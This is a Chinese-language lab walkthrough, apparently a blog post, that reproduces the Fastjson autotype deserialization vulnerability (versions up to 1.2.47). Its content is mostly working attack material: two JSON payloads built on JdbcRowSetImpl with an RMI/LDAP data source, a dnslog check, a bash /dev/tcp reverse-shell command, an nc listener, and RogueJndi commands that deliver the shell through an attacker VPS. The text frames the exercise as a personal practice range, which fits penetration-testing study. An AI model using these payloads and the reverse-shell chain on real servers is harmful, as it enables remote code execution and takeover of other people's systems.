简介

Fastjson提供autotype功能,允许用户在反序列化数据中通过 @type 指定反序列化的类型,其次Fastjson自定义的反序列化会调用指定类中的setter方法和部分getter方法。
当组件开启autotype并且反序列化不可信的数据时,攻击者构造的数据(恶意代码)会进入特定类的setter或getter方法中,可能会被恶意利用。

  • 影响版本
    Fastjson1.2.47以及之前的版本

开始复现

本次复现利用场景为个人靶场,请勿非法渗透

首先打开页面

image-20220518143407131

直接Post Payload如下:

  • fastjson<=1.2.24
1
2
3
4
5
6
7
{
"a": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://127.0.0.1:1099/Object",
"autoCommit": true
}
}
  • fastjson<1.2.48
1
2
3
4
5
6
7
8
9
10
11
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://127.0.0.1:1099/Object",
"autoCommit": true
}
}

先弹个dnslog看看能不能返回请求

image-20220518144140448

OK,dnslog 有请求确认漏洞存在,现在使用JNDI工具直接反弹shell

我这里用的JNDI工具是 RogueJndi ,可以点击 这里下载

执行 java -jar RogueJndi.jar -h 可以查看帮助

image-20220518144559665

准备 弹shell 的 payload:

bash -i >& /dev/tcp/127.0.0.1/5300 0>&1

进行一下base64编码:

编码地址:https://www.safeinfo.me/runtime-exec-payloads/

image-20220518145030319

服务器开启NC监听:

nc -lvnp 5300

image-20220518145126009

用JNDI工具执行反弹shell命令:

java -jar RogueJndi-1.1.jar -n "vpsip" -c "编码后反弹shell命令"

image-20220518145414031

复制 ldap://vpsip:1389/o=reference 填写到

image-20220518145550122

点击发送,返回查看 NC 监听结果

image-20220518145711982

反弹SHELL成功。